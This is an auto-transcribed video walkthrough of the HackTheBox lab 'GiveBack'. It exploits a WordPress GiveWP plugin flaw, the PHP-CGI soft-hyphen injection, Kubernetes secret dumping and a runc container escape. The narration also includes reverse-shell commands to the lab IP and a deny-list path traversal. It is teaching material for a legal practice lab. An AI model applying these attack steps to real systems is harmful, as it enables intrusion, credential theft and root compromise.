HackTheBox - GiveBack
Key Takeaways
The video demonstrates a cybersecurity challenge, HackTheBox - GiveBack, where the speaker uses various tools and techniques to exploit vulnerabilities in a WordPress plugin and gain root access to a Kubernetes container. The speaker uses tools like nmap, WPScan, and chisel to discover and exploit vulnerabilities, and demonstrates how to use Kubernetes service account tokens to access the container.
Full Transcript
What's going on YouTube? This is IPSC and today we'll be doing give back from Hack the Box which has quite a few technologies at play. First, we discover WordPress is running a vulnerable version of the give plugin. So, we get rce onto the box and discover it's not a box at all. It's a pod in a Kubernetes environment. There isn't much here, but we discover another pod on the network which has a weird PHP vulnerability. And once we exploit it, we gain access to a Kubernetes token that gives us the ability to read secrets. And through password reuse, we can SSH onto the box. And as this user, we can use pseudo to execute a wrapper binary that just passes us to run C. And it's running a vulnerable version of run C. So we can use that CVE to escape the container and get root. But there's also a vulnerability in the wrapper binary itself as it's using a deny list on the mounts instead of an allow list, which just means it's prohibiting you from performing certain actions instead of just specifying what actions you can perform. Deny list are always like a cat and mouse game with hackers, and hackers always seem to find a way around them. Anyways, with that being said, let's just jump in. As always, we're going to start off with an end map. So, - SC for default scripts, SV enumerate versions-v for double verbose. This gives us things like the TTL OA output all formats in the end map directory and call it give back. And then the IP address, which is 10101.94. This can take some time to run, so I've already ran it. Looking at the results, we have just two port and the first one being SSH on port 22. And the banner tells us it's an Ubuntu server. We also have HTTP on port 80. Its banner tells its engine X. And then we have some information in the scripts like the HTTP title. But most importantly, we see the TTL is 62 while the TTL on SSH is 63. So these are most likely going to be different operating systems probably like Docker or some virtualization technology is at play and it's foring it over here. And I also just noticed we have uh confirmation this is WordPress because we have HTTP generator. um saying that I don't know exactly how it found that. I'm guessing it's just like in the source of the page, but let's go ahead and take a look at it. So, I'm going to go to HTTP 101.94 is what I think I said. Is that what I did? Yes, it is. Um let's see. It is not loading for us. Am I on a proxy? Let's go ahead real quick. Curl this. we get a page. There we go. It just took a little bit to load, but here we go. We have a WordPress page because I mean that's what end mapap told us. Let's go ahead and take a look here. Um, let's see. WordPress. Oh, there we go. It's in the meta. I think we look here. My browser is going slow, but there we go. Meta name generator content WordPress 681. And it's also giving us give version 3.14.0. zero. So, we have two different versions right away in this. Um, we also have the Wapalizer installed. If we look at this, we probably have to go at the actual WordPress page. We can look and it tells us all the technologies it discovers. It doesn't have the uh version for give. Does it have the version for WordPress? It does not. Sometimes this does tell you versions. Um, I'm guessing this time it did not. Like here we go. We have jQuery the version there. But let's see what can we do. Well, whenever we have WordPress, I like just running WP scan. So, let's do WP scan-- URL http 1010 1194. And then I'm going to do enumerate all plugins and users. And if this doesn't find anything, there are a few other WP scan options. Um, let's do WBcan-H. If we look here, there is like plug-in detection. I'd change this to aggressive along with um there's another detection, right? Let's see. Plugins detection and detection mode. I'd probably change both of those to aggressive if I don't find anything to see if it finds um I guess anything else, right? So, here we go. We have give. It's giving us the version is out of date. Um now it's brute forcing author IDs. It just does 10. Let's see. Do we have anything? Um, user author pattern. I guess the user is called user. Um, it's a little bit odd, but okay. Let's see. We just have WP scan telling us things are out ofd. And that's because I don't have the API token um in my WP scan. So, if I went to wpscan.com, I'm already logged in here. We can go to profile and I'm going to copy my token. Oh, I did not mean click regenerate, but okay, that's mine. I'm just going to click copy and let's see wpcan. Let's do dash h and search for how we do a token. Uh, let's see. API d- API token. So, we can do this API token. Paste this in. Uh, there we go. And now it should tell us the actual um CVES. There we go. So it enumerated the version. We have WP uh oh vulnerabilities in WordPress itself. This is stored cross- site scripting. Uh this is data disclosure. Doesn't look like anything interesting there. Let's see. Does it find anything else? Users identified just the user. There we go. We have a vulnerability in the give WP plugin. And if you don't want to specify the API token every time, um, let's see. WP scan, is it scan.ml API token? There is a way we can save this in a config. Let's see. Read me. Hopefully, this comes. Where is it? scan. YAML. It goes in this folder, I think. So, home WP scan. I don't want to go in the database. We just create scan.l. And then, let's see. It is a CLI option. Paste this. Let's go ahead and grab our token. Copy. Paste. Give me a second. There we go. And now we'll no longer have to um specify the API token in our command, which does come in handy because I don't run WP scan all that often. Um, we can probably get rid of all plugins because it does tell us to give uh back plugin in the HTML source. So, it should automatically pick that up. There we go. And now we no longer have to specify the token because we added in our config. So, let's go ahead and look for um this exploit. Let's see. We have a CVE here. So, I'm just going to copy this. Go here. And I'm going to add GitHub to look for APOC. Let's see. Oh, this is Moodle. What is it not finding it? Let's see. Unauthorized short code extension. CSRF. There any more stored XSS? So, there's a lot of exploits here. donation plugin. So, instead of searching for all of these, oh wait, unauthenticated object injection. There's a few of these. Um 2025, 2024, let's just search for give WP exploit PC WordPress. Uh let's add GitHub. There we go. We could search for every CVE, but there were so many. I think this is just the quicker way to go about it. So, let's go ahead and try this. So, I'm going to do a get clone. Paste this in. Go in here. Let's see. Can we just run this rce? Uh, no module name faker. So, let's do a python 3. Uh, dash mvm. Is this it to create the Oh, I typoered my directory where it's going to create this virtual environment, but that's fine. We can just roll with it. Activate. There we go. Now, let's do a pip 3 install-r requirements.ext. And hopefully now this script will work. Uh I actually don't know what happens if I activate a VM when I'm in a VM, but it looks like it's fine. So it wants us to give URL. So we can do HTTP. Uh let's do DH to see exactly everything. Uh let's see how to use URL and command to execute. So, let's do -ash u http 1010 1194 and then c let's just do ID to see if it works. Uh none type is not uh whatever. It looks like we have to give it a page. Let's see. then download plugins. Check the vulnerable link. So, let's go over to the blog. See, donation station sample page. Let's see. I'm looking for where we can give a donation. Uh maybe this. So I'm going to paste this in and then we're going to change the host name because we didn't add this to our host file yet. But we should be able to just do this. Does this work? Exploit loaded. There we go. Um let's see. Give form. It looks like it may have worked. I may not get the actual output here. So let's just go ahead and try reverse shell. So, I'm going to do bash- Z B- I dev TCP 101048 90001. Do this. NC LVNP 9,0001. Uh, let's see. 0 and one. There we go. Fix up my command. Exploit loading. And there we go. We have a shell. Awesome. So, let's do Python 3- C import pty pty spawn bin bash. Uh, Python's not found. So, let's try. Do we have script? We can do script dev null command bash. There we go. Now, let's background sty raw minus echo foreground enter. And let's clear the screen with export term is equal to xterm. There we go. And wow, my terminal because like this length is so long, it's already screwed up. So let's fix that. I'm going to do sty- a rows 26 columns 121 sty rows 26 columns 121. There we go. So, the first thing I always do once I pop a web server is go for the database because that's where a lot of credentials generally are stored. So, let's look for where this is. It's probably like wp-config.php, I think, is where WordPress stores it. Let's go here. And then I'm just going to search for database. And let's see, database prefix. Is there like a password? There we go. So we have the database name, user, password, and host. So the database is on a different host than what we are on. So that is just good to know. Uh let's just go ahead and copy this. I'm going to throw it in a notes. So let's do vnotes.ext and paste that. Uh this is annoying. Let's see. Can I just do all spaces to line break like this? There we go. That's going to clean it up a little bit. Copying from T-Mox can be a little bit wonky sometimes, but let's go ahead and take a look at this. So, catnotes, we want to go into the server this. So, I'm going to copy. So, my SQL-H for host. Then we want to specify the user. I think that's just a lowercase U. It could be uppercase U. I always forget. And then dashp for password. Grab this database password. Paste it in. And there we go. We get into Maria DB. So I'm going to do a show databases use. Out of habit I did cd, but we can do bit nami WordPress. There we go. Show tables. And it's probably going to be yeah WP users. I always just like doing a describe before I do a select. If you do select star, sometimes it just overloads the terminal. Let's see. Select star from WP users. Yeah, it goes pretty hardcore. Um, since there's only one row, you could just do a back slash capital G and it puts it in like a human readable format. But generally what I would do is I do a like select user login user pass user email from WP users and we get a user here. Um this user's name was what was it? Baby Wyrm or baby worm I guess it is. And this hash actually doesn't crack. I'm not going to try to crack it cuz it'll probably waste a couple minutes. But this is just generally what I would do. So, since the database wasn't really that helpful, we can look at like our naming convention. This I have no name. I know it looks really weird, but that just happens because we're UID 10001. And if we look at past WD, there is no 101 user. So, that's not actually our username. It's just saying the UID does not map to a user. Now, generally when I see this, I think Kubernetes. Um, we could do a lsla on slash and see if there's like a dot file that tells us. I don't see anything here. Uh, there is a slash secrets. That is interesting. And we have a few files. Um, let's see. Cat maria db password. Uh, let's put an echo after it because it doesn't have a line break. So, I'm just going to go V notes uh V. There we go. Maria DB password. And we can put each of these in. Uh let's see what was the other one. Root password. So, we have this one. These look to be the same, which is I guess somewhat interesting. Um, Maria DB root pw. Oh, no. They're different. Um, it ends the same and starts the same, but the middle is definitely different. Okay. And then what else do we have? There's one other file, right? uh cat uh ls the WordPress. So we have a few passwords here. I'm just making it so it's easy to read. Um maybe I should just do colon separated. That'll be easier to later. There we go. Okay, let's see what else do we have. Um, what I was going to say, generally when you're getting Kubernetes, the Etsy host file is managed by it. So, you can sometimes leak other information, right? We see the WordPress container is here. Um, interesting enough, I expected to see the database, but we don't. Um, I'm guessing there is like a name server that's automatically going to find it. Yep, there we go. 1043010. So, that's another IP address we have on the Kubernetes cluster. And that's going to be how WordPress just magically knows that um this host resolves to an IP address, right? We go here, ping, uh, not found. Uh, let's see how else can we do it. NS lookup. Do we have this binary? We don't dig. We don't. Um, that's annoying. I'm sure there's a way we could curl not found. Wget. Almost nothing's in this container. Um, I guess that's annoying, but let's see what else do we have. I always also like looking at the environment variables. And let's see. So, we have the service host as an environment variable here. That's a weird way to do it. I don't know if that's Kubernetes. We also have a legacy internet service port. This is interesting. So, let's go ahead. I'm just going to go v notes again. Paste this in. Whoops. Uh, that was not what I put on my clipboard. There we go. So, let's go ahead and go back to this. And how do we access this? Probably the best way to do is just set up a proxy. So, I'm going to go into temp and then we don't have curl or wget. That's a bit annoying, but we can still transfer files easily through just like bash or something. So, I'm going to make dubdubdub. I'm going to copy opt. There we go. Chisel. And then, let's see. I'm going to do a NCOVNP 90001-Q1 and that - Q. Um, sometimes it works, sometimes it doesn't. Just when you do file transfers, uh, let's see. It's going to quit after end of file on standard in and then delay of seconds. Sometimes end of file will exist in the file itself or something weird happens and then it like terminates early. But what this is going to enable us to do is have the transfer end when the file is done. Right? So we do it without it real quick. We can do something like that. And then let's just do cat the standard out direct dev TCP 1048 91 in there. And then I'm going to out chisel. And we can see it connects and it's just going to hang here, right? um because there's no nothing telling netcat here to stop. So if we control C here then we can do MD5 sum on chisel and see the file has transferred successfully. Right. Uh go here. There we go. Same MD5 sum. But what I'm going to do now is add that dash um Q. So let's just go ahead and retransfer this. Go here. And then I'm going to add - Q1 here. And it should automatically close the um netcat. And we can just MD5 sum. Oh, we already have it there. We know that file did not change. We can just do MD5 sum here. And the files transferred as well. So I always just like adding that dash q when I'm doing file transfers like this. But long way to say we have chisel now on the box. So we can just start this up. And let's also make this executable. And I'm going to do dot slashchisel server allow reverse. Uh change the port to be 9,000 because the default is 8080 which is going to be where burp is listening. And also we want sock 5. Think I typed that. All right. I did. And now let's just run chisel client 10148 9000. And it's our socks like this. There we go. And we get connected. Awesome. So, let's now test this out. So, I'm going to cat notes. If I just do proxy chains curl http 1043 to241 5,000. It does connect. So, let's go ahead and test this out in burp or not burp but a browser. So change to socks. We can copy this. And there we go. So we get the give back LLC internal CMS system. And this system still includes legacy CGI support. Customer configurations likely to expose internal scripts. And we also see the CMS is originally deployed on Windows IAS with PHP CGI.exe and they've retained that functionality. Now, this is a big hint over a vulnerability that was relatively big. I mainly remember it because OrangeSai had um done a talk about it and I read almost everything OrangeSai does. But you could just Google what like PHP vulnerability windows and get this. So, if we do this, uh my proxy is still set. That's annoying. And this will go to this remote code execution vulnerability, which we'll talk about in a second. I think this is it. Yeah, that is it. Um, another thing you could do is if you were looking for like what the CMS system is, you'd probably look at the source code and see there's a developer note. PHP info is accessible via debug mode during the mitigation window, which is a bit silly, but if we clicked on PHP info, we get access restricted. And then thinking about it, it says enter debug mode. So, I'm going to put the parameter debug is equal to true, and we can access it. You don't actually need debug true. you just have to have this variable exist, but that's generally my um logic. And then you'd see PHP version 833, which then leads you to the same exact remote code execution. So, two ways of going about this. Now, the vulnerability. Let's see. Can we pull up the CVE? Uh let's see where is it? Do we have the CVE number? Uh, let's just go back to um Google Orange Sai. Do we have the post? Yep, here we go. So, let's take a look. And this looks like it's just a notification. Maybe this posting has more information. Uh, let's see. Timeline. Am I vulnerable? So, it's talking about using language sets here. It doesn't do a good job explaining the vulnerability, at least that I'm seeing. Um, let's see. Let's do PHP 833 vulnerability. I think it's a soft hyphen is the actual thing. Let's see. Tenable CVE details. Maybe this post, this may be good. Nope, that is not. Um, let's go over to Google and do this exact string. I like Google more than duck.go nowadays. Critical vulnerability. It's finding the same things, but here we go. A medium posting. Okay, I think this is going to be talking about it. So, what we have here is when a CGI script is executed, um, it calls the binary and then it's doing a argument and then the page name. And that's generally how this is being patched. It's just um a PGI CGI executable and it passes it and it does some type of escaping around dashes which is the hex of 0x2D. Now Windows and somehow they did this also in Linux will magically convert um like uniode things to their ASI equivalent. I think I'm saying that correctly. But we have a soft hyphen which is 0x AAD. Um, and it converts that over to this bypassing the standard escaping. So that allows us to specify any type of argument into this PHP executable. And what we do is enable allow URL include. And we also auto prepend the file of output which is going to be a magical file in memory. And then we can just execute anything we want. Right? So that's essentially what we're doing here. Um, let's see. Let's go back here. And we have this percent ad auto prepended. So, let's go here. Um, we don't want PHP info. We want to go to that P um this PHP CGI handler. And I'm going to put the sock proxy back on. And we have to make a curl request. I mean a um a post request. Now, I could either do this just in curl or I could also go through Burp Suite, which I think is going to be easier. But we'll have to configure Burp to use a proxy. So, let's go to proxy settings, network connections. And then I'm going to tell it to use a sock proxy. And this should allow us now to um talk to this endpoint. So if I refresh this, we go here, go in repeater, send it. And there we go. Um, so now we have to put this in. And again, this is a hyphen, right? This percent ad, if we URL decode it, we see that it looks very similar to a regular dash, but it's not. Um, it's just a different type. And we can put something down here because right down here in the post body that's going to be um PHP input. So we do this and there we go. We have the command id. Now we can try a bash- c b- i dev tcp 1010 1014 8 900 and one like this. And then let's go nclvnp 9,0001. Send it. And we don't get a shell. Um let's see. Let's do a witch bash. And we see bash is not installed. Um let's do which curl. We have curl wget. We have wget as well. NC we have NC. So we have a few things we can do. Um I'm just going to do curl http 10 10 148 90001. That's why I'm listening, right? And the main thing I'm doing here is I just want to test we have network connectivity back to us. And we do. So let's go and find a reverse shell. So I'm going to turn this back off. Reverse shell cheat sheet. And I know there's plenty of reverse shells. There's one with like netcat that we can probably use since we have NC here. Um let's see. This is going to be the most reliable one even though its syntax is a bit of a pain. Um, I don't really use this one that much because there's two like versions of netcat. One's traditional, one's not. And one of them has the dash e to do a shell. The other one doesn't. And it's always a pain. So I default to this longer string first. So let's do 10 10 148 9,0001. Am I still listening? I am not. There we go. Send it. And there we go. We have a shell. Uh, which Python 3. We still don't have Python. So, I'm just going to do a script um dev null- c bash stty raw minus echo foreground. Uh-oh. That did not work. nvmpp 90001 send my shell script devnull. Oh, I don't have bash. That's right. We do sh for shell. stty raw minus echo foreground. Enter. Enter. There we go. Um, sty rows. What was it? 26 columns 121 export term is equal to xterm and now we can clear the screen. So this next piece of enumeration was a little tricky. The first thing I did was look at like the PHP source code. We see like test.php other things but I don't think anything was really that interesting in this directory. Um I also looked at like PS output and we don't see really anything running. Um we see a reverse shell uh PHP but really nothing else. Uh so we did check like host name and see yes it does look like we're in Kubernetes. If I do uh cd slash we can see there is a start.sh. So we can look there and again nothing really here. On the last container, we had a / secrets. We don't have that directory. Um, Kubernetes does normally put secrets in a directory called ver run secrets. This is just a common Kubernetes thing. And we see kubernetes.io here. There is a service account. And then we have a um token casert and the name space. So if I c this token, I'm going to put it back on my box. So I'm going to copy. Let's go here. Um the I'm going to make directory aka real quick and just keep everything here. Token paste this in. We could look at it. So that's probably going to be the middle um part. Let's see that goes all the way to here. Echo. This is just a JWT token. JQ dot. And we can see what we have, right? We are a secret reader SA. So SA is probably CIS admin. But this is just telling us what we can do in Kubernetes. Um, we also have the caert. This is going to be what is signed. I'm going to copy this also to my box. I don't think we need this one, but it makes it a bit easier to use cubectl. And first I'm going to show um using cubectl because I think that's the easier way to numerate kubernetes and then we'll do it manually with curl, right? Um, we can also look at the name space. I think this is more justformational. Um the name space is just going to be default. So nothing special there. Uh let's go cube cl download. Go over to Google. Uh install tools. I think this is it. Kubernetes on Linux. Obviously if you're on Windows or Mac, download whatever is appropriate for you. And then this is downloading cubectl. So let's go ahead and download this. And there we go. We have cubectl. So I'm going to do chmod plus x cubectl. And then I'm going to specify https proxy is equal to sox 5 at localhost. Uh 1080 is my port. Uh the server that's going to be http 1043 0 I think 1 is the default. Um, MV grap 1043. Let's see. Wow, there's a lot. Uh, Kubernetes port 104301. Awesome. And then it's a certificate authority ca.ert token cat token. There we go. And finally we can do a command like o can-ash- i list uh let's see d-server is not a command. Oh because I didn't specify cubectl. So uh let's see that does not appear to be working. 104301. Is my proxy still up? It looks like it is. 1043 01 HTTPS proxy sock 5 cubectl oh I have http it's https there we go so the authai is going to show us what we can do and let's see create get list So we can do a get on secrets. That's going to be what really stands out to me. So let's do now a cubectl on get secret. And we can see a list of secrets. We have uh there's two items in this Maria DB one in WordPress. Then we have user secret baby worm. So let's go ahead and do a get secret on this. And if we want to get the data, I want to say we do o JSON. And that's going to dump it. And here we have master pass and B 64. So we can echo this B 64-d and get the password. So I'm just going to add this to my notes real quick. Uh we did notes up one directory. I probably should put the like Kubernetes whole thing here, but I'm not. Is that actually it? That is awesome. So, another thing we could do, we're just outputting in JSON, right? And we have a lot of extra data here. All we actually care about is the data. So, we could do dash out JSON path and then equals and I want to say data. Uh, is this all in quotes? There we go. And that's only going to output the um field we care about, right? If we add echo after it makes it a bit easier. And I show that because the next step we want to get other secrets out of this. All this Helm stuff is this is going to be very noisy. Um we want to we can get secret on Helm. This is like a I want to say like Kubernetes release thing. Um, I don't know exactly what home is or how to explain it, but it is got a lot of text here. I don't know exactly what this B 64 is. Maybe some signing key or something. Let's see. Um, release. And then you got a bunch of data, but there's nothing interesting in Helm. There is something interesting in WordPress and Maria DB. And I think we already have this data, but might as well show getting it. So, JSON path And then let's go ahead and read these secrets. So WordPress password and we want to get Maria DB. Let's go ahead and copy paste. Copy these. I don't know why I just did that. Um oh well. B notes paste cat notes. Let's just go ahead and B 64 decode everything. Echo B 64-d. Is that what we have already? Head notes. It looks like it is. Um, let's talk about the Maria DB password. Let's just see. And let's see, is this the same Maria DB? What I should do is copy grap notes on this string um out of the way, I think. Yeah, we already have that password. So, uh we don't have to go ahead and decode those. But what we probably should do now is just build a um password list and then we can try to brute force away into the box because we have a lot of secrets right now. So I'm going to grab all the passwords out of my notes. Uh let's see. We did the passwords on the top four lines there. Then we can all field separator of a colon. Print the second one. Uh passwords.ext. Sure. And then I'm going to do net exec SSH. um user I'm going to do baby worm and then the password of passwords.ext text and we have to specify the IP address of 1010 11. I want to say it was 94. Uh do we still have it somewhere? I don't. But that should be it. Uh let's cat map give back end mapap. That is awesome. And now it's trying to try all these passwords. I probably should have done hydra. It would have went faster. But um I just remember the syntax and net exec so that's why I opted for that. And we have a password for baby worm. So let's go ahead and copy this sh baby worm at 1010 11194. Put in the password and we get logged in. Awesome. Um I did say we'd show how to like manually dump the secrets. So, let's go ahead and go back. And annoyingly, that um shell has died. So, let's go ahead and redo this. Copy. And let's see. Yeah, I'll do it. Uh dev null-ci raw minus echo foreground. There we go. Um I'm going to Google. What is it? um Hackrix cloud kubernetes cuz they do something pretty cool here. Let's see. Maybe it's here uh pen testing Kubernetes because all cubectl is it's like a golang binary that accesses the API uh which is HTTP. It just makes it really easy. Um trying to find exactly where to go. Maybe Kubernetes enumeration service account tokens. Here we go. It's reading the ver secrets. Ver run secrets. So various things. Enumeration cheat sheet. Here we go. This is what I want. Um, so we want to run these commands and it's going to do this alias curl and it's going to um essentially allow us easy access to um the API. So let's go ahead and paste this in. Export service account. Sure. Is that right? Very run secrets. That's probably fine. Um, oh, we can probably just copy all of this. I wonder if I even have to change anything here. These environment variables may actually exist. I probably could have just copied that whole thing. I was thinking I'd have to make modifications. paste this. Okay. Does it give us the first command to use uh it's doing cubectl get current privileges API. Let's just paste this in and see what happens. There we go. It seems like it works, right? So let's see if we did curl if I can type correctly. HTTPS API server API v1 name spaces default secrets. We get all the data we saw before. Um every single account is in this. So these are going to be all the helms which is a little bit noisy. Um I wonder if I can just grap dash V. Was it resource? I want to say that's what it was. Nope. Um, maybe it was a capital I. No, I forget exactly what that parameter was. There's so much text here. Uh, release. That'll make it a little less noisy. Um we could also just grap on data and say after let's do five. Um no after one. Uh we get some we get master pass there. But yeah that whole um helm stuff makes it relatively painful. But you can dump it this way. Um it's easier if you just like copy all the output to your box and then look through it. But that's how you can enumerate Kubernetes if you didn't want to get cubectl. Just um follow this. Then you have the curl and you can read the Kubernetes API and make the um request manually. But let's go back to where we have our SSH session. The first thing I always like doing once ISH as a user is checking pseudo. And we can see that I may run the following commands. We have I think this is saying I can't run anything. And then I can run op debug. I don't know why this rule exists, but let's do a pseudo op debug. And we need the P. That's annoying. Uh let's go ahead and grab the password. paste this in. And now it wants us to enter the administrative password. I'm going to paste the same password I used. We don't have it. Um, let's go and cat our notes. I'm just actually I'm going to cat passwords.ext. And then we can try each of these passwords out. So, let's try the first one. Copy paste. And it looks like that one worked. Um, if we grab our notes on this, we'll see exactly what it is. Um, it is the Maria DB password. But now let's go ahead and do d-help to find out what this binary is. I don't have to enter this every time. That's annoying. Um, actually, can we just read this binary to see? Uh, we don't have any privileges, so we can't like um cut it out. We can only access it via pseudo. But we see it is a runc debug wrapper. So let's go ahead and add um the version I guess paste this in. And we see it is runc version 1.11. And if we Google this uh let's go ahead Google and there's another way we can solve it without using a CVE but I'm going to show the CVE which is the intended way first. Um and I think we have shown this before. If we do ipsc.rock rocks. I bet I have um run C. So, we have it in a few things. Um let's see. Explain run C by setting working directory to proc self FD8. Um and that's essentially what we're going to do here. I'm trying to find the posting. It's a relatively old vulnerability. Let's see. Uh we'll just exploit it. Um, so what we have to do is create a container. So I'm going to go cd temp and we'll just work out of here. Um, do we have docker access? We don't. I'm going to create a blank docker. So let's do a docker export docker create alpine latest alpine.tar AR. So what I'm doing is just creating a Docker image because run C is essentially going to run this docker, right? So I have to do this first. Um, make dubdubdubdub. I swear I had that directory. Maybe not. Python 3 m http server wget http 10 1048 8000 alpine.tar car. And I actually don't know if this is needed, but um it makes it easy. Uh let's see. I'm actually going to move this into devshm. And the reason why I'm working out of here is because we have these systemd jails. I never know if um my temp is in the programs temp. So easier just to work out of here where it's just always going to be the same path. Uh we can do make dur root fs is what I think we have to do. T XVF Alpine change to root FS. So now if I go into root FS, we have the um Alpine container. So let's go back to pseudo debug. Uh what is the administrative password? Let's go ahead and copy this. See, I should be able to give it a spec command. And what that's going to do is give us config.json. So, I'm going to copy config.json. Uh, can we change the owner? So, we don't have right access to config.json. So, I'm going to go ahead and make a directory called exploit. And let's move config into exploit. uh copy config into exploit and then move the root file system in here. Okay. And then what we do here is we can set the um what is it the current working directory. We can set it to a file handle. And I want to say the file handle we needed was seven. And you can play around with these. But if we do um let's see here. We did eight, but I think we had mapped two files in that example. Let's see. Is this talking about it? There we go. proc self fd7 by using a path. Yeah, self fd7. This is a file descriptor. So when this container starts, it's going to start in this directory. So, let's go ahead and run this. Uh, we get the exact syntax this wrapper uses. Let's go ahead and copy this password again. And I know this piece may not make sense. It's kind of hard to explain this binary because it's a lot of just trial and error playing with it, right? Um, we want to do a run here. I'm going to call it pone. and the password. Um, let's see. Notice I had to follow directory. Oh, we have to give it a log. Log log log, I guess. Doesn't matter. And there we go. Um, if we don't give it this log, then the file descriptor doesn't match up. I don't know if we did like six, five, four, whatnot, it would work correctly. Um, I think this log parameter makes it predictable at seven. But here, if we now go into cd um well, first let's go into cd/root. And we're actually in the alpine containers route. This is going to be a little bit wonky. Um if I go a bunch of dot dots since I went in here, I lost that file handle. So I can no longer get into the host route. So I'm going to run it again real quick. Uh we have to get that password uh cap passwords.ext grab you paste this in and the first command is going to be the cd dot dot. Now we get into the host route. So that is going to be doing it the intended way with the CVE. But when I solved this box, I did not do it this way. Um, the first way is actually going to be what was patched. So, let's revert the change we did. So, this is going to be the CWD, but there is a mount, right? There it is. And what I was thinking is, oh, we can just mount the host file system. So, we could do um, let's go ahead and just copy this paste. Uh, that's not it. I thought I Let's just try this again. Yank put. There we go. Um, let's do destination. We'll mount it inside of mount. And then the type is going to be a bind mount. So we're just going to bind a directory. And then the source is going to be where we want um to mount. And I just did like a slash. And then we also have to give it a few options. We have to tell it um read write. Do we have that anywhere? Options. I'm just going to manually do it instead of looking for it. So let's go ahead and we can say options rbind rw for read write. I think that's it. I think it's telling my JSON is bad there. What is wrong? Are we missing a quote? So that goes we have the quote comma quotes comma quotes. I think this is right. Okay. So let's go ahead and get this password again because I know our clipboard has changed. And we're going to run this. I'm going to get rid of the log because we no longer need that in this example. Put it in. And we have host root file system mount detected not permitted. So, I went around and played with this a lot. So, let's go ahead and um look for this. Where is it? There we go. So, we could try changing directories. So, if we try to mount root, let's see if this one works. Paste this in. Still not detected. Um and that you that worked, but hack the box had patched it, right? So my next step was trying other directories and I thought maybe they patched like root etsy but maybe we could access var. So if we do var there we go we can get in. So if I went into mount and then I thought you know what um if you edit a cron tab on a local box it's going to reload cron and start taking effect. So that was my first thought. So I went to varool um cron cron tabs and there is a root one. So let's go ahead and edit this and then 1 2 3 4 5 b- c bash- i dev tcp 10 1048 91 0 and one like this. That should be fine. Let's go ahead and start a listener date. Uh, let's wait um 60 seconds and see if we get a shell. So, it's been way more than a minute and I don't have a shell. So, this tells me one of two things. Either cron is just disabled on this machine and not running, which I don't think is going to be the case. And also, it could just be when you edit a cron tab file from within a docker, whatever is monitoring it doesn't know the file changed. So, it never reloads cron itself. So, there is one other thing we could try, right? We saw that there were some blacklist around like mounting root or a slash. Um, but what if we use directory traversal, right? What if it's just a complete blacklist on the uh where is it? Um, find right here. Okay. So, what if it's just a complete blacklist like blocking um slashroot, right? or just slash. So, what if I did a ver then dot dot and see if this works. Um, I also tried like adding spaces here, changing the casing, other things, going to chat GPT, asking if there's an alias for source. Maybe you can specify a different thing like maybe src and have it work. And it told me there's no alias. It has to be source. So, I tried directory traversal here just to see if I could get around that little um blacklist. So, let's do um pone 4 and let's go cat our passwords again. Grab this. Oh, wait. We actually have to have the pseudo password because it's been so long. And then we can grab the password for the application and we get in pone 4. And if I go into /mount, we have the root file system of the host. So, we can go mount root and then get root.ext. So we have completely bypassed the um deny list or blacklist around that operation. Right? If we do a ch route here, we're essentially Oh, we can't even cd can I do chroot/mount? Nope, that's not permitted. But we could just go into opt, which is going to be where that debug binary exists. And if we take a look at it, uh we don't have the command file. That's odd. Um it is just a bash script. And you can see the functionality around like protecting it. Um let's see where that deny list is right here. So it's just looking for strings. So we have source and then matching spaces unlimited amount colon slash slroot etsy. So that's what they're blocking. Um that's why /var worked. And then we did var dot and that bypassed these um checks which led us into the root system. So, with that being said, um that's the box. So, I hope you guys enjoyed it.
Original Description
00:00 - Introduction
01:00 - Start of nmap
03:20 - Adding the API Key to our WPScan
08:00 - Discovering a POC for the GiveWP plugin and getting a shell
12:00 - Looking at the WP Database, not getting much information
18:00 - Discovering an HTTP endpoint in the environment variable, setting up chisel to look at it
22:00 - Looking at the custom web page, it is vulnerable to a PGP CGI Vulnerability
30:00 - Shell on the second pod
31:00 - Discovering a Kubernetes (k8s) token, copying it back to our box and setting up kubectl to examine Kubernetes and dumping secrets
39:50 - Showing we didn't need KubeCTL we could have used curl, showing hacktricks age that has some nice tips on setting this up to easily query the k8s api
44:50 - With a password from k8s, we can login to the box and execute a runc wrapper with sudo. It is running version 1.1.11 which is vulnerable to an sandbox escape.
52:15 - Showing an alternative way to exploit this binary through exploiting the wrapper with a simple path traversal in mounts
Watch on YouTube ↗
(saves to browser)
Sign in to unlock AI tutor explanation · ⚡30
Playlist
Uploads from IppSec · IppSec · 0 of 60
← Previous
Next →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
HHC2016 - Analytics
IppSec
HackTheBox - October
IppSec
HackTheBox - Arctic
IppSec
HackTheBox - Brainfuck
IppSec
HackTheBox - Bank
IppSec
HackTheBox - Joker
IppSec
HackTheBox - Lazy
IppSec
Camp CTF 2015 - Bitterman
IppSec
HackTheBox - Devel
IppSec
Reversing Malicious Office Document (Macro) Emotet(?)
IppSec
HackTheBox - Granny and Grandpa
IppSec
HackTheBox - Pivoting Update: Granny and Grandpa
IppSec
HackTheBox - Optimum
IppSec
HackTheBox - Charon
IppSec
HackTheBox - Sneaky
IppSec
HackTheBox - Holiday
IppSec
HackTheBox - Europa
IppSec
Introduction to tmux
IppSec
HackTheBox - Blocky
IppSec
HackTheBox - Nineveh
IppSec
HackTheBox - Jail
IppSec
HackTheBox - Blue
IppSec
HackTheBox - Calamity
IppSec
HackTheBox - Shrek
IppSec
HackTheBox - Mirai
IppSec
HackTheBox - Shocker
IppSec
HackTheBox - Mantis
IppSec
HackTheBox - Node
IppSec
HackTheBox - Kotarak
IppSec
HackTheBox - Enterprise
IppSec
HackTheBox - Sense
IppSec
HackTheBox - Minion
IppSec
VulnHub - Sokar
IppSec
VulnHub - Pinkys Palace v2
IppSec
HackTheBox - Inception
IppSec
Vulnhub - Trollcave 1.2
IppSec
HackTheBox - Ariekei
IppSec
HackTheBox - Flux Capacitor
IppSec
HackTheBox - Jeeves
IppSec
HackTheBox - Tally
IppSec
HackTheBox - CrimeStoppers
IppSec
HackTheBox - Fulcrum
IppSec
HackTheBox - Chatterbox
IppSec
HackTheBox - Falafel
IppSec
How To Create Empire Modules
IppSec
HackTheBox - Nightmare
IppSec
HackTheBox - Nightmarev2 - Speed Run/Unintended Solutions
IppSec
HackTheBox - Bart
IppSec
HackTheBox - Aragog
IppSec
HackTheBox - Valentine
IppSec
HackTheBox - Silo
IppSec
HackTheBox - Rabbit
IppSec
HackTheBox - Celestial
IppSec
HackTheBox - Stratosphere
IppSec
HackTheBox - Poison
IppSec
HackTheBox - Canape
IppSec
